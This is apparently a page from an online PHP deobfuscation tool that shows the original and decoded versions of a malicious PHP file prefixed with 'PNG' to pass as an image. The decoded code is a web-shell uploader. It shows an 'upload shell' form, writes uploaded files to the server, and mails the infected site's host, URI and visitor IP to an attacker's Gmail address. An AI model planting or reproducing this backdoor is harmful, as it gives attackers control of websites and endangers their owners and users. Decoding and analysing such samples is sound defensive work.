Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

PNG <?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7";${"\x47L\x4f\x42\x41L..

Decoded Output download

PNG 
 
<?php ${"GLOBALS"}["jetuvyi"]="f7";${"GLOBALS"}["treqgoljhhk"]="ab";${"GLOBALS"}["cbfnbsdb"]="xa";${"GLOBALS"}["fnsnpmpy"]="s6";${"GLOBALS"}["ajqkwhzp"]="c4";${"GLOBALS"}["utmjuu"]="m5";$qstptt="b3";${"GLOBALS"}["xqkkcw"]="b3";${"GLOBALS"}["layopjtm"]="a2";${"GLOBALS"}["dvmdrmb"]="y1";${"GLOBALS"}["osigmdocx"]="o0";$qyesjrmhc="o0";${${"GLOBALS"}["osigmdocx"]}=$_GET[base64_decode("ZG8=")];if(${$qyesjrmhc}==base64_decode("aXQ=")){${"GLOBALS"}["mdnkliomupv"]="y1";${${"GLOBALS"}["dvmdrmb"]}=$_FILES[base64_decode("ZmlsZQ==")][base64_decode("bmFtZQ==")];${${"GLOBALS"}["layopjtm"]}=$_FILES[base64_decode("ZmlsZQ==")][base64_decode("dG1wX25hbWU=")];echo base64_decode("PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCiA8aW5wdXQgdHlwZT0nZmlsZSduYW1lPSdmaWxlJyAvPg0KIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cGxvYWQgc2hlbGwnIC8+DQo8L2Zvcm0+");move_uploaded_file(${${"GLOBALS"}["layopjtm"]},${${"GLOBALS"}["mdnkliomupv"]});}${${"GLOBALS"}["xqkkcw"]}=getenv(base64_decode("UkVNT1RFX0FERFI="));$pbzdzxkwvcw="k9";${"GLOBALS"}["xuylgiuret"]="m5";${${"GLOBALS"}["ajqkwhzp"]}=rand(1,99999);$tbanxexlelx="f7";${"GLOBALS"}["eumkwdg"]="h8";${${"GLOBALS"}["xuylgiuret"]}="   Shell  |$b3";${${"GLOBALS"}["fnsnpmpy"]}=base64_decode("cm9jaGRpc3A3QGdtYWlsLmNvbQ==");${$tbanxexlelx}=base64_decode("RnJvbTogTiFnaE0xcjMgPHgtR2hvc3REej4=");$yzdbrberd="ab";${${"GLOBALS"}["eumkwdg"]}=$_SERVER[base64_decode("UkVRVUVTVF9VUkk=")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("SFRUUF9IT1NU")];${${"GLOBALS"}["cbfnbsdb"]}=${$qstptt}."";$vvpwrmsr="s6";${$yzdbrberd}="$k9$h8?do=it $xa";mail(${$vvpwrmsr},${${"GLOBALS"}["utmjuu"]},${${"GLOBALS"}["treqgoljhhk"]},${${"GLOBALS"}["jetuvyi"]});if($_POST){if(@copy($_FILES[base64_decode("Zg==")][base64_decode("dG1wX25hbWU=")],$_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")])){echobase64_decode("PGI+YmVyaGFzaWw8L2I+LS0+").$_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")];}else{echobase64_decode("PGI+Z2FnYWw=");}}else{echo base64_decode("PGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCBuYW1lPXYgdHlwZT1zdWJtaXQgaWQ9diB2YWx1ZT11cD48YnI+");} 
?>

Did this file decode correctly?

Original Code

PNG

<?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7";${"\x47L\x4f\x42\x41L\x53"}["\x74\x72e\x71\x67\x6f\x6cjhh\x6b"]="ab";${"\x47\x4c\x4f\x42ALS"}["\x63bfn\x62\x73\x64\x62"]="\x78a";${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6es\x6ep\x6d\x70\x79"]="\x73\x36";${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]="\x63\x34";${"\x47L\x4fB\x41\x4c\x53"}["u\x74\x6d\x6a\x75u"]="\x6d\x35";$qstptt="b3";${"GL\x4fB\x41\x4cS"}["\x78q\x6b\x6b\x63\x77"]="b\x33";${"G\x4c\x4fBAL\x53"}["la\x79o\x70\x6a\x74\x6d"]="\x61\x32";${"\x47\x4c\x4fBA\x4cS"}["\x64\x76\x6d\x64\x72mb"]="y1";${"G\x4c\x4f\x42\x41\x4cS"}["\x6f\x73\x69\x67md\x6f\x63\x78"]="o\x30";$qyesjrmhc="\x6f\x30";${${"\x47LOB\x41\x4c\x53"}["\x6f\x73i\x67\x6dd\x6f\x63\x78"]}=$_GET[base64_decode("ZG8=")];if(${$qyesjrmhc}==base64_decode("a\x58Q\x3d")){${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64\x6ek\x6c\x69\x6fm\x75\x70\x76"]="y1";${${"\x47\x4c\x4f\x42ALS"}["d\x76\x6ddr\x6d\x62"]}=$_FILES[base64_decode("Zm\x6cs\x5a\x51\x3d=")][base64_decode("\x62mF\x74\x5a\x51=\x3d")];${${"\x47\x4cO\x42A\x4c\x53"}["\x6c\x61y\x6fp\x6a\x74m"]}=$_FILES[base64_decode("Zml\x73Z\x51==")][base64_decode("\x64G\x31\x77X\x325h\x62WU\x3d")];echo base64_decode("\x50GZvc\x6d\x30\x67b\x57\x560aG9\x6b\x50Sd\x51T\x31NUJ\x79\x42\x6cb\x6d\x4e\x30e\x58BlPS\x64td\x57x\x30a\x58Bhcn\x51v\x5a\x6d\x39\x79\x62S\x31\x6b\x59\x58\x52h\x4az\x34N\x43iA\x38aW5\x77dX\x51gd\x48\x6cw\x5aT\x30\x6e\x5aml\x73\x5a\x53duY\x571lPS\x64\x6da\x57x\x6c\x4ayAv\x50g\x30KIDx\x70\x62nB\x31d\x43B0\x65XBlP\x53\x64\x7a\x64WJt\x61\x58Q\x6e\x49HZh\x62H\x56lPSd1\x63\x47\x78v\x59WQgc2\x68\x6cb\x47\x77nIC8+\x44Qo\x38\x4c\x32Zvc\x6d\x30+");move_uploaded_file(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x61\x79opjt\x6d"]},${${"\x47L\x4fB\x41\x4c\x53"}["\x6d\x64n\x6bl\x69o\x6du\x70v"]});}${${"G\x4cO\x42A\x4cS"}["\x78q\x6bk\x63w"]}=getenv(base64_decode("\x55\x6b\x56NT\x31R\x46X0\x46E\x52\x46\x49="));$pbzdzxkwvcw="\x6b\x39";${"\x47L\x4fB\x41\x4c\x53"}["\x78\x75\x79\x6cgi\x75\x72e\x74"]="m\x35";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]}=rand(1,99999);$tbanxexlelx="f\x37";${"GL\x4f\x42\x41LS"}["\x65u\x6d\x6b\x77\x64g"]="\x688";${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x75ylgiu\x72\x65t"]}="   Sh\x65l\x6c\x20 |$b3";${${"\x47L\x4f\x42A\x4cS"}["\x66\x6es\x6ep\x6d\x70y"]}=base64_decode("\x63m\x39j\x61\x47Rp\x633A\x33Q\x47dt\x59\x57lsL\x6d\x4evbQ=\x3d");${$tbanxexlelx}=base64_decode("RnJ\x76\x62\x54\x6f\x67T\x69\x46\x6ea\x45\x30x\x63j\x4d\x67P\x48g\x74R\x32\x68\x76c3\x52\x45\x65j\x34=");$yzdbrberd="\x61\x62";${${"\x47\x4cO\x42AL\x53"}["\x65u\x6d\x6b\x77\x64\x67"]}=$_SERVER[base64_decode("UkV\x52V\x55\x56T\x56\x469V\x55kk\x3d")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("S\x46R\x55UF9IT\x31\x4eU")];${${"G\x4c\x4f\x42\x41\x4cS"}["\x63\x62\x66\x6ebs\x64b"]}=${$qstptt}."";$vvpwrmsr="\x73\x36";${$yzdbrberd}="$k9$h8?\x64o\x3di\x74 $xa";mail(${$vvpwrmsr},${${"G\x4c\x4f\x42\x41\x4cS"}["\x75t\x6d\x6a\x75\x75"]},${${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x72e\x71g\x6f\x6c\x6ahhk"]},${${"G\x4c\x4fBALS"}["\x6a\x65\x74\x75\x76yi"]});if($_POST){if(@copy($_FILES[base64_decode("Zg\x3d=")][base64_decode("d\x471wX\x325hb\x57U=")],$_FILES[base64_decode("\x5ag=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d=")])){echobase64_decode("\x50G\x49+YmVya\x47Fz\x61W\x77\x38L\x32\x49+\x4cS0+").$_FILES[base64_decode("\x5a\x67=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d\x3d")];}else{echobase64_decode("P\x47\x49+\x5a2F\x6eY\x57\x77=");}}else{echo base64_decode("\x50G\x5a\x76c\x6d0\x67\x62\x57\x560\x61\x479\x6bPX\x42v\x63\x33Qg\x5aW\x35\x6ad\x48\x6cwZ\x54\x31\x74d\x57\x78\x30\x61\x58\x42\x68c\x6eQ\x76\x5a\x6d\x39yb\x53\x31\x6b\x59XRhP\x6a\x78pb\x6e\x42\x31\x64CB\x30eXB\x6cPW\x5ap\x62GU\x67b\x6dFtZT\x31m\x50\x6ax\x70bn\x421\x64C\x42uYW\x31lPX\x59\x67\x64\x48\x6cwZ\x541zd\x57\x4a\x74\x61X\x51\x67\x61WQ\x39d\x69B2\x59W\x781\x5a\x541\x31c\x44\x348YnI+");}
?>

Function Calls

getenv 1
base64_decode 3

Variables

o0 None
$qstptt b3
GLOBALS [{'key': 'jetuvyi', 'value': 'f7'}, {'key': 'treqgoljhhk', 'value': 'ab'}, {'key': 'cbfnbsdb', 'value': 'xa'}, {'key': 'fnsnpmpy', 'value': 's6'}, {'key': 'ajqkwhzp', 'value': 'c4'}, {'key': 'utmjuu', 'value': 'm5'}, {'key': 'xqkkcw', 'value': 'b3'}, {'key': 'layopjtm', 'value': 'a2'}, {'key': 'dvmdrmb', 'value': 'y1'}, {'key': 'osigmdocx', 'value': 'o0'}]
$qyesjrmhc o0

Stats

MD5 aae60d1dfd38f2239d21dcaa35b8fd34
Eval Count 0
Decode Time 95 ms